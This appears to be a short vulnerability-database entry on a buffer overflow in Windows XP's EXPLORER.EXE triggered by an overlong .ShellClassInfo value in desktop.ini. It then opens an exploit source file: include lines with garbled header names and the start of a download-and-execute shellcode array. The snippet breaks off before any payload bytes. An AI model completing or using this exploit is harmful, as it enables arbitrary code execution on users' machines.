Buffer overflow in EXPLORER.EXE on Windows XP allows malicious users to execute arbitrary code as the XP user via a desktop.ini file with a long .ShellClassInfo parameter.
#include <fstreamh>
#include <stringh>
#include <stdioh>
#include <windowsh>
#include <directh>
char shellcode[]=
//download url and exec shellcode
//doesn't have any hardcoded values
//except the base address of the program
//searches the import table for
//LoadLibraryA, GetProcAddress and ExitProcess
//by ei ...
Vulmon